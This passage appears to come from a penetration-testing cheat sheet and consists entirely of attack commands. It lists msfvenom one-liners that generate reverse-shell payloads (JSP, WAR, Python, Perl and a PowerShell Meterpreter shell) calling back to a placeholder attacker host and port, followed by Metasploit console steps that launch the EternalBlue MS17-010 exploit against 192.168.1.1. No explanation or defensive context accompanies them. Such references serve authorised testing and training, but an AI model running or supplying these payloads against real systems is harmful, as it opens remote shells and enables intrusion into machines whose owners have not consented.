-p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.jsp WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war Python msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py Perl msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl PowerShell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1 Metasploit msfconsole msf > search eternalblue msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(...) > set RHOSTS 192.168.1.1 msf exploit(...) > exploit